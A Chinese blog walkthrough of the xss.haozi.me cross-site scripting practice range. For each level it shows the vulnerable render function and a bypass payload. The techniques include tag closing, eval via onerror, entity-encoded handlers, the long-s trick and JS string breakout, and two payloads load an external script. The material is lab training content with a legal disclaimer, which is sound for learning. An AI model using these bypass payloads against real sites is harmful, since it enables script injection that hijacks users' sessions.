当前位置: 首页 > news >正文

从 0 到 1 玩转 XSS - haozi 靶场:环境搭建 + 全关卡漏洞解析

文章目录

  • 前言
  • 靶场地址
  • 0X00 直接注入
  • 0X01 闭合标签1
  • 0X02 闭合标签2
  • 0X03 绕过特殊符号1
  • 0X04 绕过特殊符号2
  • 0X05 绕过注释符
  • 0X06 绕过更多符号
  • 0X07 绕过更多符号2
  • 0X08 绕过闭合符号
  • 0X09 绕过URL匹配
  • 0X0A 绕过URL过滤
  • 0X0B 绕过大写转换1
  • 0X0C 绕过大写转换2
  • 0X0D 绕过注释
  • 0X0E 古英语绕过
  • 0X0F JS闭合1
  • 0X10 注入window.data
  • 0X11 JS闭合2
  • 0X12 JS闭合3

前言

在网页安全的战场里,跨站脚本攻击(XSS)就像隐藏在代码海洋中的暗礁 —— 它可能藏在一个看似无害的输入框里,潜伏在一段被精心构造的评论中,甚至伪装成一条正常的 URL。

而 “xss.haozi.me” 的靶场,正是为你还原这场攻防博弈的绝佳训练场。

从最直白的标签注入,到绕过敏感字符过滤的奇思妙想;从利用浏览器特性的巧妙 trick,到玩转编码与转义的底层逻辑。

这里的每一关,都是现实中 XSS 漏洞的缩影,每一个 payload 的背后,都藏着对网页渲染机制的深刻理解。

靶场地址

https://xss.haozi.me/#/

操作步骤:
在这里插入图片描述

0X00 直接注入

条件:

function render (input) {return '<div>' + input + '</div>'
}

前端:

<div></div>

注入:div内嵌脚本会被运行。

<script>alert(1)</script>

0X01 闭合标签1

条件:

function render (input) {return '<textarea>' + input + '</textarea>'
}

前端:

<textarea></textarea>

注入:textarea内嵌脚本不会运行,但可以先闭合textarea标签。

</textarea><script>alert(1)</script>

0X02 闭合标签2

条件:

function render (input) {return '<input type="name" value="' + input + '">'
}

前端:

<input type="name" value="">

注入:先闭合标签。

">'<script>alert(1)</script>

0X03 绕过特殊符号1

条件:

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}

前端:

<!--空-->

注入:使用ES6语法 ` 绕过。

<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+">
</object>
<!-- ES6语法 `` -->
<script>alert`1`</script>

0X04 绕过特殊符号2

条件:

function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input
}

前端:

<!--空-->

注入:

  • \x 开头表示十六进制编码,281表示 ( ,29表示 ),\x281\x29 表示 (1)
  • eval 在 js 中执行表达式,例如:eval(‘alert\x281\x29’) 等同于 alert(1)
  • window.onerror 在js错误时调用函数,此处 eval 是调用的函数。
  • throw 表示自定义程序异常时被捕获的内容
<script>window.onerror=eval;throw'=alert\x281\x29'</script>

0X05 绕过注释符

条件:

function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}

前端:

<!--空-->

注入:--!> 效果等同 --> ,可以绕过。

--!><script>alert(1)</script>

0X06 绕过更多符号

条件:

function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}

前端:

<input value=1  type="text">

注入:

  • 利用 input 的 type="image" src="xxx" 的属性。
  • 使用 onerror 标签触发后面的脚本。
  • onerror 后面换行接 =,绕过 on.*=
type=image src onerror
=alert(1)

0X07 绕过更多符号2

条件:

function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}

前端:

<article></article>

注入:选择没有 > 的标签注入。

<IMG SRC='' onerror=alert(1) // 末尾带一个空格

0X08 绕过闭合符号

条件:

function render (src) {src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')return `<style>${src}</style>`
}

前端:

<style></style>

注入:换行绕过 </style> 符号。

</style
><img src='' onerror=alert(1)>

0X09 绕过URL匹配

条件:

function render (input) {let domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${input}"></script>`
}return 'Invalid URL'
}

前端:

<!--空-->

注入:onload 表示加载完成后执行一段脚本。

https://www.segmentfault.com" onload=alert(1)>

0X0A 绕过URL过滤

条件:

function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&').replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>').replace(/\//g, '/')
}const domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${escapeHtml(input)}"></script>`
}return 'Invalid URL'
}

注入:浏览器会解析URL中@后面的网址。(目前仅firefox浏览器可以触发)

https://www.segmentfault.com@xss.haozi.me/j.js

0X0B 绕过大写转换1

条件:

function render (input) {input = input.toUpperCase()return `<h1>${input}</h1>`
}

前端:

<h1></h1>

注入:对 js 使用 html 编码绕过大写转换,js 在 html 代码中,会先进行 html 解码。

<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

0X0C 绕过大写转换2

条件:

function render (input) {input = input.replace(/script/ig, '')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

前端:

<h1></h1>

注入:过滤了script标签,使用报错弹窗,代码同0X0A。

<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

0X0D 绕过注释

条件:替换了单双引号,并且输入内容到注释中。

function render (input) {input = input.replace(/[</"']/g, '')return `<script>// alert('${input}')</script>`
}

前端:

<script>// alert('')</script>html

注入:开头换行,结尾注释掉后面引号。

1
alert(1)
-->

0X0E 古英语绕过

条件:过滤了所有 < 与字母的组合。

function render (input) {input = input.replace(/<([a-zA-Z])/g, '<_$1')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

前端:

<h1></h1>

注入:但是ſ是古英语,大写后为S,且其 ascii 值不与 s 相等,因此可以绕过。

<ſcript src="https://xss.haozi.me/j.js"></script>

0X0F JS闭合1

条件:先转义html字符,再进行替换过滤。

function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&').replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>').replace(/\//g, '/')
}return `<img src
onerror="console.error('${escapeHtml(input)}')">`
}

前端:

<img src onerror="console.error('')">

注入: ') 闭合前面内容, ; 结束console语句, \\注释后面内容。

');alert(1)//

0X10 注入window.data

条件:

function render (input) {return `
<script>window.data = ${input}
</script>`
}

前端:

<script>window.data =
</script>

注入:window.data 在 js 脚本中直接注入。

alert(1)

0X11 JS闭合2

条件:添加了很多转义。

// from alf.nu
function render (s) {function escapeJs (s) {return String(s).replace(/\\/g, '\\\\').replace(/'/g, '\\\'').replace(/"/g, '\\"').replace(/`/g, '\\`').replace(/</g, '\\74').replace(/>/g, '\\76').replace(/\//g, '\\/').replace(/\n/g, '\\n').replace(/\r/g, '\\r').replace(/\t/g, '\\t').replace(/\f/g, '\\f').replace(/\v/g, '\\v')// .replace(/\b/g, '\\b').replace(/\0/g, '\\0')
}s = escapeJs(s)return `
<script>var url = 'javascript:console.log("${s}")'var a = document.createElement('a')a.href = urldocument.body.appendChild(a)a.click()</script>
`
}

前端:

<script>var url = 'javascript:console.log("")'var a = document.createElement('a')a.href = urldocument.body.appendChild(a)a.click()
</script>

注入:方法同 0X0F 题目,闭合前面,注释掉后面。

");alert(1)//

0X12 JS闭合3

条件:替换斜杠为反斜杠。

// from alf.nu
function escape (s) {s = s.replace(/"/g, '\\"')return '<script>console.log("' + s + '");</script>'
}

前端:

<script>console.log("");</script>

注入:js \ 用来指定正则表达式,添加 \ 将反斜杠关闭。

\");alert(1)//

本文内容仅用于 Web 安全技术学习与授权测试环境验证,严禁将相关技术用于未授权的系统或网络环境。违反《网络安全法》等法律法规的行为将自行承担法律责任。xss_haozi 靶场为开源安全测试平台,使用时需确保环境隔离。


本文是「安全靶场」系列的第 4 篇,点击专栏导航查看全部系列内容。

http://www.dtcms.com/a/284031.html

相关文章:

  • 50倍性能飞跃!Spring Boot+Doris Stream Load海量数据实时更新方案
  • RabbitMQ—消息可靠性保证
  • 破解本地数据库困局:DbGate+内网穿透如何实现远程管理自由
  • React Native打开相册选择图片或拍照 -- react-native-image-picker
  • CSDN首发:研究帮平台深度评测——四大AI引擎融合的创作革命
  • MySQL安全修改表结构、加索引:ON-Line-DDL工具有哪些
  • mapbox V3 新特性,添加模型图层
  • 深入GPU硬件架构及运行机制
  • OpenCV学习笔记二(色彩空间:RGB、HSV、Lab、mask)
  • 多维动态规划题解——最长公共子序列【LeetCode】空间优化:两个数组(滚动数组)
  • Python eval函数详解 - 用法、风险与安全替代方案
  • Java使用FastExcel实现模板写入导出(多级表头)
  • 设计模式四:装饰模式(Decorator Pattern)
  • maven本地仓库清缓存py脚本
  • 设计模式笔记_结构型_装饰器模式
  • centos中新增硬盘挂载文件夹
  • Install Docker Engine on UbuntuMySQL
  • 【安卓按键精灵辅助工具】adb调试工具连接安卓模拟器异常处理
  • Vuex中store
  • 爬虫核心原理与入门技巧分析
  • JavaScript中的Window对象
  • Vue3入门-组件及组件化
  • Sentinel配置Nacos持久化
  • Python爬虫实战:研究cssutils库相关技术
  • AI问答-供应链管理:各种交通运输方式货运成本分析
  • 如何用文思助手改好一篇烂材料
  • maven(配置)
  • clonezilla 导出自动化恢复iso
  • 信息安全基础专业面试知识点(上:密码学与软件安全)
  • 解锁 iOS 按键精灵辅助工具自动化新可能:iOSElement.Click 让元素交互更简单